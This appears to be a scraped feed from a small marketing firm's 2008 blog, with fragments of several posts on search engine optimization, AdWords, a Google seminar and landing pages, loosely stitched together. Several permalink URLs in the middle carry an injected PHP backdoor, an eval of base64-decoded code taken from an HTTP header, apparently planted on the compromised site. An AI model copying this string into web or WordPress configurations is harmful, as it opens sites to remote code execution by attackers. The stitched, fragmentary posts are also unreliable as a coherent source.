THE BACKGROUND

Reassuringly, Andrew pointed out that search engine optimization is:

• Not Rocket Science or Voodoo
• Not Free Traffic
• Not “Set It and Forget It”

Too true. Managing search is like caring for a useful pet, perhaps a sheep dog. You want to herd the audience to your content. Andrew called it a “funnel to capture intent.” His metaphor is probably better.

THE 3 PILLARS OF SEARCH

Many pundits try to explain the quantum mechanics of search, but Andrew’s summation seems as good as any. Ranking in search rests on three pillars:

1. Accessibility - Can the search engines find you?
2. Relevance - Who related is your content to a particular search?
3. Credibility - How can the search engines tell if you are an expert?

ACCESSIBILITY

Andrew touted the benefits of Sitemaps to create visibility for search engines. These are not the site maps that viewers may use to find pages on your website. Sitemaps (capital “S”) are code documents that index all your content and provide instructions for search engines.

Andrew noted that many tools exist online to help you generate Sitemaps including Google Webmaster, Yahoo Site Explorer and Sitemaps.org.

RELEVANCE

Want to boost relevance - take a look at the stats for your website or blog. What are the entry keywords - that is, what did people search for that led them to you?

Focus your content on the keywords and concepts most dear to your audience. Use your keywords liberally - in links, headlines, body copy and elsewhere.

Write for humans, not search robots, and you will also keep the audience you attract.

CREDIBILITY

Links from other websites to your content, also called incoming links, build cred with the search ‘bots. One sure fire method to build incoming links to to circulate your content widely.

For example, we’ll repost this blog on ActiveRain, the portal for real estate professionals. We also use Feedburner and other services to notify all the search engines when we post and distribute the content to blog aggregators everywhere.

Finally, Andrew mentioned another of our favorite things: deploying an AddThis button on web pages and blog posts. AddThis and other social buttons give your audience a wealth of ways to share and save your content, including bookmarks, email, Facebook and Twitter.

All this enables more sharing of your content and more external links back to you.

SLIDE SHOW PRESENTATION

Andrew conveniently included his slides in an online slideshow.

WordCamp is great for bloggers of all stripes. Thanks to Matt Walters for organizing WCRVA.

Look for more details soon about WordCamp RDU for folks in the Triangle area of North Carolina.

INTRO

Understanding search is easy. People want to find stuff using the internet - boats, doctors, facts. Seekers of information enter a search string, i.e “gigantic yacht” and the search engines display relevant results.

As a business person, you need to know how to get found.

ORGANIC AND PAID SEARCH

Search can be divided into two broad categories: organic and paid.

Organic search refers to the the results displayed by the search engines. Paid search are the sponsored listings which surround the organic results.

According to Forrester Report “U.S. Online Marketing Forecast: 2007-2012,” search engine marketing topped $8.05 billion in 2007 and is projected to grow to $25.3 billion within 5 years:

Organic search is determined by the search robots, complex programs that analyze your website for relevancy to a given search string. Here are a few basics to help your relevancy score in organic search:

1. Use the meta tags - these appear in the “head” section of your web page (visible when you select “view source code” in a browser). The tags that matter are KEYWORDS, TITLE AND DESCRIPTION. More than 50% of all websites leave the meta tags blank, depressing their results in search.
2. Be Honest, be Concise - imagine you have to explain your business to a robot (’cause that’s what you’re doing). Keep it simple; keep it focused.
3. Exact Word Matches Help - Remember, you’re talking to robots. “Doctor” does not equal “doctors.”

Paid search, also called pay-per-click, let’s you display your ad in response to keywords you select. You can define a geographic area, time of day, daily budget and test ad variations. You only pay when your ad is clicked. A good click-through rate is 10%.

The smaller the geography and the more narrow the keywords, the cheaper the cost of PPC advertising. Google AdWords includes a cost estimator and lots of other helpful tools to get started.

Every company should review its search strategy to make sure they are reaping the benefits of the Web 2.0 economy.

]]> http://goodtreecompany.com/wordpress/2008/07/21/basics-of-search/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://goodtreecompany.com/wordpress/2008/06/20/tima-google-seminar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://goodtreecompany.com/wordpress/2008/06/20/tima-google-seminar/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 20 Jun 2008 11:35:38 +0000 Hal http://goodtreecompany.com/wordpress/?p=197 TIMA, the Triangle Interactive Marketing Association, had a great seminar on Wednesday presented by Google*.

Hetal Gordon and Tonia Lipscomb from Google covered two broad topics - AdWords and content networks like YouTube. The information was flowing fast and furious, but here are a few interesting items we managed to capture:

• 100 Billion - the number of search queries Google gets in a year.
• 8 Seconds - how long it takes for a viewer to decide whether or not to stay on your site.
• Time of Day - using Google Analytics, you can see precisely when people are spending the most time on your site and adjust an AdWords campaign to maximize this window of opportunity.
• “Feed what’s Working” - Google’s advice about keywords. In a nutshell, when you create an AdWords campaign, focus on what gets the most clicks .
• Google Trends - this is part of the Google Labs suite (it’s a beta product). See what key words and phrases are moving web traffic and adjust your approach accordingly.
• The World’s Largest Focus Group - with Analytics, that’s certainly one way to look at Google.
• 54 Percent - that’s the percentage of people 18-54 who use YouTube. Pork & Beans, anyone?
• Meta Tags Still Matter - So many websites don’t use meta tags, and so many people claim that they don’t matter, I just had to ask the folks from Google: are meta tags obsolete? Answer: Yeah, totally obsolete. Unless you want the search engines to find you.

Thanks to the crew at TIMA and Google for the great seminar!

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* Pictured above (L–>R): Laura St. Onge (TIMA), Louise Gordon (TIMA), Tonia Lipscomb (Google), Hetal Gordon (Google) and Amy Boaz (TIMA).

Here’s how a landing page works: let’s say you have a potentially lucrative niche product or service. You create a Google AdWords campaign to address your audience. Then you design a web page to turn your audience into buyers.

Southern Vascular Institute in Greenville, SC has a niche service they’d like to promote - they can treat uterine fibroids without traditional surgery.

Treatment of fibroids is a great example of a niche category. It’s easy to target with keywords and by geography.

We set up the AdWords campaign, driving traffic to the Institute’s general website. The traffic was significant enough that the practice decided it worth making a landing page specifically targeted to explain their minimally-invasive treatment of uterine fibroids.

We built a page and re-directed the traffic. Here’s one of our ads:

See the landing page for yourself at CarolinaFibroidDoctors.

EMarketer has forecast that U.S. advertisers will spend $25.8 billion on web ads in 2008. Search advertising accounts for 40% of the total. That’s a 23% increase over 2007 when online ad spending was $21.1 billion.

Might want to hold on to that Google stock for a while.

SEO Workers has a very easy, very useful online tool for analyzing some basic Search Engine Optimization attributes on any web page.

To start just enter the url of any page you’d like to analyze:

In about 2 seconds, you’ll see the results:

Full disclosure - we’ve optimized this page already (that’s why it’s 100%). But it’s a very handy way to check your head tags for relevancy and search engine compliance.

Thanks SEO Workers!

Awards are scheduled to be presented in April 2008 in San Francisco.

Full disclosure: SRA is a client. Gotta say, it’s great to have clients who are smart and intellectually curious (goes for all my clients).

The gist is this: Subscribers, Social Media and direct Selling to potential clients is far more effective in the long run than trying to make money with Google.

Dr. Haswell made a similar point this morning: since much of their business comes from referring physicians, maybe we should focus on that market more than general awareness. Dr. Kyran Dowling, another SRA physician, also made a similar point to me last week.

In any business, it pays to show up at the doorstep of potential clients, introduce yourself, explain your value proposition and ask for their trade. My old business partner Conrad Fink of This Is TV in New York used to say “good things happen when you leave the house.”

Thanks Brian for a great post. We’re adding you to our blogroll.

And thanks to Jim Haswell, doctor and web maven.

Google and other purveyors of search are notoriously secretive about how they crawl the web. But the basic parameters are well known.

1. When you first post your website, you can expect the search engines to find and index you within 4-6 weeks.
2. At the time of your initial indexing, the search engine tells itself to crawl your site again, say in another six weeks.
3. If nothing has changed, the ‘bot may instruct itself not to revisit your site for a greater period of time, say 12 weeks.

Static (unchanging) websites invite a self-fulfilling decline in search ranking.

If nothing’s changed in 12 weeks, when will the ‘bots return? 20 weeks? 24?

We offer no examples here, but one needn’t look far.

Dynamic websites (call them evolutionary or organic if you like) change and grow over time. In the B2B space, look at OR-Live, a web portal for physicians. In the B2C market, look at Gayout, an international travel & leisure site by Andre Gayout (he coined the term “nouvelle cuisine” back in the early 1970’s).

Thanks again to our friend Gary for hipping us to one more reason why all small-to-medium enterprises need to have a dynamic, Web 2.0 site.